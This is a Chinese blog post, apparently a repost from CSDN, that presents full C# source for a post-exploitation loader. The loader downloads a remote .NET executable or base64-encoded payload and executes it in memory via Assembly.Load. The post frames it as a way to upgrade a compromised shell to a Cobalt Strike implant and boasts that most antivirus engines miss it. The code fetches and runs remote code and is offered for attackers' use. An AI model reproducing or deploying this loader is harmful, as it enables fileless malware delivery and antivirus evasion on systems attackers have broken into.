利用一个完全安全的C#文件下载远程木马到内存进行执行

前言

拿到一台主机的shell后,我们一般会想办法“升级”shell,最常见的是上传一个CS的木马,这样对我们的后渗透工作会十分方便。

代码实现:sflcsharp

免杀效果

在这里插入图片描述
绝大多数都是不查杀的

执行效果

我们提前在ip为10.92.52.27的主机上传了两个文件,一个为helloworld.exe,一个是此文件的base64密文形式。此exe文件执行效果为在命令输出fffffff,如下图所示:

在这里插入图片描述
这时候使用sflcsharp的-b参数来加载远程的c#语言的exe文件:
在这里插入图片描述
使用-b64参数来加载远程的b64密文:
在这里插入图片描述

代码详解

using System;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
using System;
using System.IO;
using System.Net;
using System.Linq;
using System.Reflection;

namespace demo1
{
    
    
    class Program
    {
    
    
        static void Main(string[] args)
        {
    
    
            string fileDownloadurl = null;
            string filedownloadtype = null;
            byte[] filebuffer = null;
            try
            {
    
    
                fileDownloadurl = args[1];
                filedownloadtype = args[0];
            }
            catch
            {
    
    
                Console.WriteLine("\n加载远程exe文件到内存执行:sflcsharp.exe -b exe文件的url");
                Console.WriteLine("\n加载远程base64密文文件到内存执行:为sflcsharp.exe -b64 b64文件的url");
                Environment.Exit(0);
            }
            if (filedownloadtype == "-b")
            {
    
    
                filebuffer = Downloadbinarypefilebyhttp(fileDownloadurl);
            }
            if (filedownloadtype == "-b64")
            {
    
    
                filebuffer = downloadbase64(fileDownloadurl);
            }
            if (filebuffer != null)
            {
    
    
                Console.WriteLine("正在将下载下来的程序加载到当前用户的内存中");
                Assembly assemblyinstance = Assembly.Load(filebuffer);  //将下载下来的程序加载到当前用户的内存中
                Console.WriteLine("正在寻找程序入口点并执行程序");
                assemblyinstance.EntryPoint.Invoke(null,new object[] {
    
     null}); //找到程序的入口点并执行程序
                Console.WriteLine("\n程序执行完毕");
            }
        }
        public static byte[] Downloadbinarypefilebyhttp(string url)
        {
    
    
            Console.WriteLine("\n创建WebClient类用来下载PE文件");
            WebClient downloadwebclient = new WebClient();  //这个类可以从指定url上下载或者上传数据
            Console.WriteLine("\n下载文件后自动保存为byte[]格式\n");
            byte[] test = downloadwebclient.DownloadData(url);
            return test;
        }
        public static byte[] downloadbase64(string url)
        {
    
    
            Console.WriteLine("\n创建WebClient类用来下载base64密文文件,下载到的数据按照字符串格式保存在内存");
            WebClient downloadwebclient = new WebClient();  //这个类可以从指定url上下载或者上传数据
            string b64 = downloadwebclient.DownloadString(url);
            Console.WriteLine("将base64字符串转换为byte[]类型的数据");
            byte[] test = Convert.FromBase64String(b64);
            return test;
        }
    }
}

原理解释

windows的.NET框架其中有一个类为assembly类。这个类可以家在byte[]类型的数据到内存中并当作一个assembly文件去执行。assembly文件就是c#写的dll文件与exe文件。然而还有函数可以将远程的exe文件下载到本地并用byte[]格式去保存。这两个方式结合后就可以实现下载远程c#文件到内存中直接执行,可以绕过绝大多数杀软。

猜你喜欢

转载自blog.csdn.net/qq_41874930/article/details/108758459